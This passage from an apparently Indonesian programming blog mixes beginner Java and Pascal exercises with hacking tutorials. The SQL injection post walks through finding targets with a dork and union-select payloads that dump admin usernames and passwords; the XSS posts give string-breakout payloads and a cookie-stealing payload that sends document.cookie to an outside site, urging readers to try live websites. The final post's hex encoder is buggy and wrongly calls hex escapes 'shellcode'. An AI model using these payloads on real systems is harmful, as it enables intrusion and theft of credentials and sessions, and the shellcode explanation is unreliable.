        Scanner scan = new Scanner(System.in);
       
        char data1[] = {'B', 'U', 'D', 'I', ' ', 'L', 'U', 'H', 'U', 'R'};
        int cariJumlah = 0; // Menampung jumlah huruf yang ditemukan
       
        System.out.print("Masukan Huruf yang Dicari - ");
       
        // charAt(0), hanya huruf pertama yang diambil dari inputan
        char cariKata = (scan.nextLine()).charAt(0);
       
        // Pencarian Huruf
        for(int z = 0; z < data1.length; z++) {
            // Jika ada huruf yang cocok cariJumlah + 1
            if(cariKata == data1[z]) {
                cariJumlah++;
            }
        }
       
        if(cariJumlah > 0) {
            System.out.println("ADA");
            System.out.println(cariJumlah);
        }
        else {
            System.out.println("TIDAK ADA");
        }
    }
}

Output dari program nya seperti ini.



Untuk pertanyaan seputar bahasa pemrograman bisa kalian tanyakan di Brainly atau kontak yang tersedia, saya akan berusaha untuk menjelaskannya dengan detail. Sekian untuk materi kali ini, sampai jumpa pada materi berikutnya.

Program Penjumalahan Matriks - Pascal

0 comments
Saya menemukan pertanyaan di website Brainly.co.id yang pastinya tentang TI yaitu membuat sebuah program untuk menghitung matrik. Matrik 1 ditambahkan Matrik 2 dan hasilnya di tampilkan. Bahasa pemrograman yang digunakan adalah Pascal.


Untuk kode programnya sendiri seperti ini dan cukup simple, saya hanya akan menjelaskan di bagian perulangan ( FOR ) saja. Perulangan yang digunakan adalah Nested Loop atau perulangan yang bersarang atau perulangan yang berada didalam perulangan.

program matriks_ku;
uses crt;
var
   {* Variable Matrik 1 *}
   matrik1: array[0..2,0..2] of integer;

   {* Variable Matrik 2 *}
   matrik2: array[0..2,0..2] of integer;

   {* Variable Hasil Penjumlahan Matrik *}
   matrikH: array[0..2,0..2] of integer;

   { * Variable untuk Perulangan *}
   i: integer;
   j: integer;

begin
     clrscr;

     matrik1[0,0]:= 1;
     matrik1[0,1]:= 2;
     matrik1[1,0]:= 2;
     matrik1[1,1]:= 3;

     matrik2[0,0]:= 2;
     matrik2[0,1]:= 2;
     matrik2[1,0]:= 3;
     matrik2[1,1]:= 2;

     for i:=0 to 1 do begin
         for j:= 0 to 1 do begin
             matrikH[i,j]:= matrik1[i,j] + matrik2[i,j];
         end;
     end;

     writeln('Hasil Penjumlahan Matrik');

     for i:=0 to 1 do begin
         for j:= 0 to 1 do begin
             write(matrikH[i,j],' ');
         end;
         writeln('');
     end;

     readln;
end.

Sebelumnya perlu diketahui terlebih dahulu untuk penggunaan array 2 dimensi. Array 2D bekerja seperi table yang ada didalam Microsoft Excel ada kolom dan ada baris. Didalam array selalu diawali dengan index atau uratan ke 0 seperti didalam gambar.


Logika Nested Loop didalam program. Contoh Array menggunakan variable Matrik1.
Array Matrik1 =
[1, 2]
[2, 3]

FOR yang pertama untuk baris dari array.
FOR yang kedua untuk kolom dari array.

for -> i ke 0 -> baris array yang diambil adalah [1, 2]
    for -> j ke 0 -> mengambil nilai index ke 0 -> yaitu 1
    for -> j ke 1 -> mengambil nilai index ke 1 -> yaitu 2
for -> i ke 1 -> baris array yang diambil adalah [2, 3]
    for -> j ke 0 -> mengambil nilai index ke 0 -> yaitu 2
    for -> j ke 1 -> mengambil nilai index ke 1 -> yaitu 3

Output Program


Untuk pertanyaan seputar bahasa pemrograman bisa kalian tanyakan di Brainly, saya akan berusaha untuk menjelaskannya dengan detail. Sekian untuk materi kali ini, sampai jumpa pada materi berikutnya.

Tuesday 2 July 2019

Belajar SQL Injection ( SQLi )

0 comments
SQL Injection adalah tehnik hacking yang menyalahgunakan perintah SQL. Metode SQL Injection bisa dibilang mirip dengan XSS ( Basic XSS ) yaitu dengan cara menyisipkan payload berupa query atau perintah sehingga program tidak akan berjalan semestinya. Untuk melakukan SQLi, yang harus dipahami pertama-tama adalah query-query yang digunakan pada SQL. Pada umumnya query yang sering digunakan adalah query CRUD ( Create, Read, Update, Delete ).


Dalam targetnya SQL berbeda dengan XSS. XSS ditujukan untuk user / client tapi jika ada celah lain XSS bisa digunakan juga untuk LFI ( Local File Inclusion ). Untuk SQLi targetnya adalah database, jadi kita bisa menguasai database dan melihat data user ( username dan password ), sehingga kita bisa login tanpa mendaftar, apalagi kalau bisa mendapatkan akun admin, kita bisa mengubah halaman website.

Untuk targetnya bisa kalian cari sendiri dengan Dork sederhana :

inurl: id=

Pilih salah satu target, semisal :

Url : www.target-easy.com/berita.php?id=26

Setelah mendapat target tambahkan nilai / value dari "id" dengan tanda petik tunggal atau ganda. Sehingga URL menjadi seperti ini, lalu enter.

Url : www.target-easy.com/berita.php?id=26"

Langkah-Langkah Melakukan SQL Injection
Jika website tersebut tidak bisa memfilter atau tidak ada security untuk SQL Injection website akan menampilkan pesan error seperti dibawah ini. Hal ini dimanakan Error Based.

Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /home/web-lemah/public_html/berita-action.php on line 2019

Kita sudah mengetahui bahwa website terdapat celah dan dapat di exploitasi. Kita akan mencari banyaknya kolom yang diambil dari database yaitu dengan menggunakan perintah order by {Jumlah_Kolom}. Kita buat URL nya menjadi seperti ini :

Url : www.target-easy.com/berita.php?id=26 order by 10 --

Jika muncul pesan error kurangi jumlah kolom sebanyak 1, sampai tidak error.
Jika tidak error tambahkan kolom sebanyak 1 sampai menemui error. Kalau sudah menemui error, jumlah kolom dikurangi 1.

Semisal kita sudah menemukan banyaknya kolom semisal ada 14 kolom. Ganti perintah order by... dengan perintah and 1=2 union select 1,2,4.. sampai sebanyak kolom tadi.

Url : www.target-easy.com/berita.php?id=26 and 1=2 union select 1,2,3,4,5,6,7,8, 9, 10, 11, 12, 13, 14 --

Website akan menampilkan angka-angka sesuai dari kolom yang digunakan. Tampilannya seperti dibawah ini :


Di gambar diatas ada angka 4, 5, dan 7 yang dapat kita gunakan untuk menampilkan data / record dari database. Lanjut, kita akan mencoba menampilkan database yang digunakan didalam website dengan menggunakan perintah database(), kita masukan ke kolom 7.

Url : www.target-easy.com/berita.php?id=26 and 1=2 union select 1,2,3,4,5,6, database() ,8, 9, 10, 11, 12, 13, 14 --

Selanjutnya kita coba tampilkan table yang digunakan didalam database menggunakan perintah table_name dan information_schema.tables.

Url : www.target-easy.com/berita.php?id=26 and 1=2 union select 1,2,3,4,5,6, group_concat(table_name) ,8, 9, 10, 11, 12, 13, 14 from information_schema.tables --

Kalian akan menemukan banyak table dan kalian bisa juga menemukan table member, user ataupun admin. Setelah mendapatkan nama table kita cari kolom dari table tersebut dengan perintah column_name dan information_schemas.columns dan tambahkan where table_name = "{table_yang_di_pilih}", semisal kita pilih table "admin" yang tampil hanyalah kolom pada table "admin" saja.

Url : www.target-easy.com/berita.php?id=26 and 1=2 union select 1,2,3,4,5,6, group_concat(column_name) ,8, 9, 10, 11, 12, 13, 14 from information_schema.columns where table_name = "admin" --

Website akan menampilkan nama-nama kolom dari table seperti, id,name,username,password dan  email. Langkah terakhir adalah melihat data / record berdasarkan kolom yang dibutuhkan dan nama tabel.

Url : www.target-easy.com/berita.php?id=26 and 1=2 union select 1,2,3,4,5,6,group_concat(username, " | ", password, "<br>"),8,9,10,11,12,13,14 from admin --

Hasil dari recordnya seperti ini :

masbro | 5eQrTe
,sopsop | b4uG4n
,norak | v5xZp3
,gaskan | ga3Ad4
,nugraha | nu6r4ha
,bandit | f3rGu5o
,ketawa | ket1w1

Untuk mendapatkan informasi lain, kalian bisa mengganti table dan kolomnya. Selain serangan ke database SQLi juga bisa ditujukan untuk RCE ( Remote Code Execution ). Jika ada yang masih belum dimengerti, silahkan tulis dikolom komentar atau kontak yang tertera.

Terimakasih sudah membaca artikel ini sampai jumpa pada materi berikutnya.

Monday 1 July 2019

Kerentanan Kode Javascript - Kasus XSS

0 comments
Sebelumnya sudah dijelaskan tentang Cross Site Scripting ( XSS ). Yang menjadi permasalah adalah bagaimana jika payload yang ada di materi kemarin tidak bekerja tetapi payload ter-reflected ke dalam salah satu script atau function didalam Javascript. Memang ada beberapa website yang masing kurang diperhatikan didalam function atau variable didalam kode Javascript.


Untuk kali ini akan dijelaskan secara singkat saja. Kita perlu tau terlebih dahulu dimana letak payloadnya berada. Didalam variable String, Array, diapit tanda petik tunggal atau diapit tanda petik ganda. Akan kita bahas satupersatu. Hal yang perlu diperhatikan sebenarnya adalah format dari nilai yang menampung payload, perhatikan contoh berikut :

Payload Diapit dengan Petik Tunggal
Permasalahan pertama Payload yang berada di kode javascript diapit oleh petik tunggal.

<script>
     var abc = 'Anda mencari dengan kata kunci {PAYLOAD}';
</script>

Jika menemui permasalahan seperti tersebut kita tidak bisa menggunakan payload yang mengandung HTML. Kita harus langsung menggunakan payload Javascript. Karena diapit petik tunggal kita gunakan payload seperti ini :

Payload : ';alert('Belajar XSS');var z='test

Yang terjadi jika payload ini dimasukan kedalam kode Javascript adalah seperti ini, program Javascript akan termanipulasi. Dan website akan menampilkan dialog message karena fungsi alert().

<script>
     var abc = 'Anda mencari dengan kata kunci ';alert('Belajar XSS');var z='test';
</script>

Payload Diapit dengan Petik Ganda
Permasalah ini sama seperti permasalahan sebelumnya, namun perbedaan hanya di petiknya saja.

<script>
     var abc = "Anda mencari dengan kata kunci {PAYLOAD}";
</script>

 Gunakan peyload seperti berikut :

Payload : ";alert("Belajar XSS");var z="test

Payload Dimasukan Kedalam Array
Permasalahan yang terakhir adalah jika payload dimasukan kedalam sebuah array atau struktur tertentu.

<script>
     var abc = ["Rudi", "Budi", {PAYLOAD}];
</script>

Jika ada permasalahan seperti diatas kita ikuti strukturnya. Kita tahu kalau Array dan String jika memiliki nilai tidak valid maka program akan error. Kita buat payloadnya seperti ini :

Payload : ""];alert("Haha, Easy");var z=[

Jika payload tersebut dimasukan kedalam program tadi akan menjadi seperti ini :

<script>
     var abc = ["Rudi", "Budi", ""];alert("Haha, Easy");var z=[];
</script>

Jika ingin mengetahui lebih luas tentang list payload XSS kalian bisa mencarinya dengan kata kunci "all xss payloads". Mungkin segitu saja, sampai jumpa pada materi berikutnya.

Basic Cross Site Scripting ( XSS )

0 comments
Cross Site Scripting atau yang lebih dikenal dengan XSS adalah jenis serangan yang ditujukan kepada client. Cara kerja XSS adalah dengan memanipulasi tampilan sebuah website melalui kode HTML, CSS, dan Javascript. Penggunaan XSS harus disertai dengan Social Engineering. Seorang hacker harus mampu untuk meyakinkan pengguna agar mengunjungi atau mengeklik sebuah link atau tautan.


XSS dapat digunakan untuk mengambil cookie atau session user, cookie atau session digunakan untuk informasi pengguna saat login kedalam website yang mana akan tersimpan di dalam browser. Untuk menampilkan cookie dari user diperlukan sebuah perintah dari Javascript. Setelah mendapatkan cookie user, hacker bisa memanipulasi cookie yang ada di browsernya dengan cookie yang sudah didapatkan.

Selain untuk mendapatkan cookie, XSS juga bisa digabungkan dengan CSRF atau XSRF yang akan saya bahas pada materi berikutnya. Kelemahan website terhadap XSS biasanya banyak terletak pada kolom pencarian. Dalam hal ini saya tidak akan memberikan target website untuk contoh peretasan. Kalian dapat mencoba berbagai website online yang ada di internet. Untuk mencoba XSS kalian dapat menggunakan 1 akun saja untuk percobaan.

Sebelum itu perlu diketahui XSS terbagi menjadi 2 yaitu Reflected XSS dan Stored XSS.
Reflected XSS adalah keadaan dimana kode XSS diikutkan dengan sebuah url.

Url : https://target-peretasan.com/?p={KODE_XSS}

Kode XSS akan di eksekusi oleh website dan ditampilkan. Sedangkan untuk Stored XSS, kode XSS dimasukan kedalam database. Semisal ketika kita mengisi informasi data diri, kita bisa memasukan kode XSS. Dan ketika user membuka halaman profile kita, user akan ditampilan halaman profile beserta kode XSS yang sudah dimasukan.

Tampilan dari data URL yang ter-reflected ke dalam website. Untuk mencari kata kunci kalian bisa menggunakan inspect element.


Sekarang kita akan langsung menggunakan multiple payload XSS untuk mengecek kerentanan terlebih dahulu. Kita gunakan payload untuk kerentanan pada tag-tag HTML.

Payload : "><img src=x>

Masukan payload kedalam url sehingga urlnya menjadi seperti ini, lalu eksekusi atau enter.

Url : https://target-peretasan.com/?p="><img src=x>

Jika website memiliki kerentanan terhadap XSS, dengan payload di atas website akan menampilkan sebuah gambar dengan tampilan icon rusak karena source atau link gambar tidak valid.


Setelah ada kerentanan, kita bisa memanipulasi tampilan website dengan menggunakan kode HTML dan Javascript. Kalian bisa memanipulasi tampilan sesuka kalian, skill yang diperlukan memahami HTML dan CSS. Untuk sekarang kita akan menambahkan tombol untuk menampilkan cookie user dengan Javascript. Gunakan payload dibawah ini.

Payload : "><img src="x" onclick="alert(document.cookie)">

- alert, digunakan untuk menampilkan kotak dialog yang berisi pesan.
- document.cookie, digunakan untuk menampilkan cookie website yang ada di browser.
- onclick, adalah event dimana jika object di klik akan menjalankan kode javascript.

Contoh cookie yang diambil dari website.


Kalau payload itu tadi hanya menampilkan pada diri sendiri. Kita bisa menggunakan payload lain untuk menangkap cookie website dan disimpan kedalam database website kita sendiri. Contoh payload yang bisa digunakan.

Payload : "><img src="x" onclick="window.location='http://www.website-ku.com/savecookie.php?data='+encodeURIComponent(document.cookie)">

- encodeURIComponent, digunakan untuk mengencode symbol seperti, ? $ + = #.

Untuk penjelasan lebih jelas mengenai perintah seperti encodeURI, alert bisa dipelajari di W3Schools. Jika ada yang masih belum dimengerti silahkan tulis di kolom komentar atau bisa hubungi kontak yang tertera.

Sunday 30 June 2019

Program Encrypt - Decrypt Script dengan Javascript

0 comments
Pernahkan kalian melihat script Javascript atau program yang lain yang terenkripsi semisalnya \x64\x69\x73\x70\x6C\x61\x79 yang pastinya script tersebut tidak akan bisa dibaca secara langsung kecuali oleh komputer. Script atau kode tadi bisa disebut dengan Shellcode. Shellcode biasanya digunakan untuk membypass keamanan sebuah program dan program tidak akan berjalan sesuai fungsinya melainkan akan berjalan sesuai perintah yang ada di Shellcode.


Shellcode biasanya digunakan pada sebuah template website dan program hacking yang lain. Pada materi sebelumnya sudah dijelaskan tentang cara membuat sebuah konversi dari decimal ke hexadecimal, program itu akan digunakan untuk materi kali ini. Jika belum mencoba atau mengetahui programnya kalian bisa mengunjungi link berikut Program Konversi Dec - Hex.

Sebenarnya shellcode sama seperti text atau String pada umumnya. Karena Shellcode berasal dari character yang di ubah menjadi hexadecimal dan ditambahkan dengan "\x". Sebagai contoh :
- Huruf A jika dikonversi ke desimal memiliki nilai 65 jika dikonversi ke Hexa bernilai 41.
- Jadi Shellcode nya adalah \x41.

Program Encrypt - Decrypt sangatlah sederhana. Pertama kita akan membuat program untuk meng-Encrypt script. Buatlah sebuah file dengan nama latiahanEncDec.html lalu ketikan kode berikut.

<textarea id="source"></textarea>
<textarea id="result"></textarea>

<button onclick="scriptEnc()">Encrypt</button>
<button onclick="scriptDec()">Decrypt</button>

<script>
    // Bilangan Hexadecimal
    var bilHexa = "0123456789ABCDEF";
  
    // Bilangan Hexa digit pertama dan kedua
    var hexaDigit1 = 0, hexaDigit2 = 0;
  
    function hexa2dec(bilangan) {
        // Mengambil nilai dari bilangan hexa
        hexaDigit1 = bilangan.charCodeAt(0) - 55;
        hexaDigit2 = bilangan.charCodeAt(1) - 55;
      
        if(hexaDigit1 <= 2) hexaDigit1 += 7;
        if(hexaDigit2 <= 2) hexaDigit2 += 7;
      
        // Menghitung nilai dari hexa
        var nilaiKonversi = 0;
        nilaiKonversi += hexaDigit1 * 16;
        nilaiKonversi += hexaDigit2;
      
        return nilaiKonversi;
    }
  
    function dec2hexa(bilangan) {
        // Bilangan decimal dibagi dengan 16 dan mengamabil sisa bagi ( Mod - Modulo )
        hexaDigit1 = Math.floor(bilangan / 16);
        hexaDigit2 = bilangan % 16;
      
        // Mengambil bilangan dari nilai hexa
        var nilaiKonversi = "";
        nilaiKonversi += bilHexa.charAt(hexaDigit1);
        nilaiKonversi += bilHexa.charAt(hexaDigit2);
      
        return nilaiKonversi;
    }
  
</script>

- Atribut onclick pada tag button diatas digunakan untuk menjalankan fungsi atau program javascript ketika tombol di klik dengan mouse.

Fungsi diatas adalah fungsi dari program sebelumnya. Diatas tag script adalah kode untuk membuat sebuah tampilan UI di dalam HTML. Kita perlu UI karena Shellcode tidak bisa ditampilkan atau digunakan menjadi sebuah text / String secara langsung. Sekarang kita membuat fungsi untuk mengEncrypt sebuah Script.

function scriptEnc() {
        // Mengambil nilai atau text dari ID "Source" - textarea
        var data = document.getElementById("source").value;
        var hasilEnc = "";
       
        // MengEncrypt setiap Character pada String
        for(var i = 0; i < data.length; i++) {
            hasilEnc += "\\x" + dec2hexa( data.charCodeAt(i) );
        }
       
        // Menyimpan Nilai ke ID "Result" - textarea
        document.getElementById("result").value = hasilEnc;
}

- data.length, length digunakan untuk mengambil jumlah character atau huruf pada String.
- document.getElementById(), untuk mengambil sebuah object yang memiliki ID tertentu, object yang dimaksud adalah tag-tag HTML.

Selanjutnya membuat fungsi untuk menDecrypt script. Tulis kode berikut

function scriptDec() {
        // Mengambil nilai atau text dari ID "Source" - textarea
        var dataShell = document.getElementById("source").value;
        var data = dataShell.split("\\x");
        var hasilDec = "";
       
        // MengDecrypt setiap Shellcode pada String
        for(var i = 1; i < data.length; i++) {
            hasilDec += String.fromCharCode( hexa2dec(data[i]) );
        }
       
        // Menyimpan Nilai ke ID "Result" - textarea
        document.getElementById("result").value = hasilDec;
}

- Fungsi split digunakan untuk memisah sebuah String menjadi array berdasarkan key nya. String.split(key)
- String.fromCharCode() digunakan untuk merubah nilai Decimal menjadi character.

Kode program secara keseluruhan seperti ini

<textarea id="source"></textarea>
<textarea id="result"></textarea>

<button onclick="scriptEnc()">Encrypt</button>
<button onclick="scriptDec()">Decrypt</button>

<script>
    // Membuat variabel untuk di Encrypt
    var text1 = "Saya sedang makan";
   
    // Bilangan Hexadecimal
    var bilHexa = "0123456789ABCDEF";
   
    // Bilangan Hexa digit pertama dan kedua
    var hexaDigit1 = 0, hexaDigit2 = 0;
   
    function hexa2dec(bilangan) {
        // Mengambil nilai dari bilangan hexa
        hexaDigit1 = bilangan.charCodeAt(0) - 55;
        hexaDigit2 = bilangan.charCodeAt(1) - 55;
       
        if(hexaDigit1 <= 2) hexaDigit1 += 7;
        if(hexaDigit2 <= 2) hexaDigit2 += 7;
       
        // Menghitung nilai dari hexa
        var nilaiKonversi = 0;
        nilaiKonversi += hexaDigit1 * 16;
        nilaiKonversi += hexaDigit2;
       
        return nilaiKonversi;
    }
   
    function dec2hexa(bilangan) {
        // Bilangan decimal dibagi dengan 16 dan mengamabil sisa bagi ( Mod - Modulo )
        hexaDigit1 = Math.floor(bilangan / 16);
        hexaDigit2 = bilangan % 16;
       
        // Mengambil bilangan dari nilai hexa
        var nilaiKonversi = "";
        nilaiKonversi += bilHexa.charAt(hexaDigit1);
        nilaiKonversi += bilHexa.charAt(hexaDigit2);
       
        return nilaiKonversi;
    }
   
    function scriptEnc() {
        // Mengambil nilai atau text dari ID "Source" - textarea
        var data = document.getElementById("source").value;
        var hasilEnc = "";
       
        // MengEncrypt setiap Character pada String
        for(var i = 0; i < data.length; i++) {
            hasilEnc += "\\x" + dec2hexa( data.charCodeAt(i) );
        }
       
        // Menyimpan Nilai ke ID "Result" - textarea
        document.getElementById("result").value = hasilEnc;
    }
   
    function scriptDec() {
        // Mengambil nilai atau text dari ID "Source" - textarea
        var dataShell = document.getElementById("source").value;
        var data = dataShell.split("\\x");
        var hasilDec = "";
       
        // MengDecrypt setiap Shellcode pada String
        for(var i = 1; i < data.length; i++) {
            hasilDec += String.fromCharCode( hexa2dec(data[i]) );
        }
       
        // Menyimpan Nilai ke ID "Result" - textarea
        document.getElementById("result").value = hasilDec;
    }
   
</script>

Untuk penjelasan lebih jelas mengenai perintah seperti document.getElementById() dan split() bisa dipelajari di W3Schools. Jika ada yang masih belum dimengerti silahkan tulis di kolom komentar atau bisa hubungi kontak yang tertera.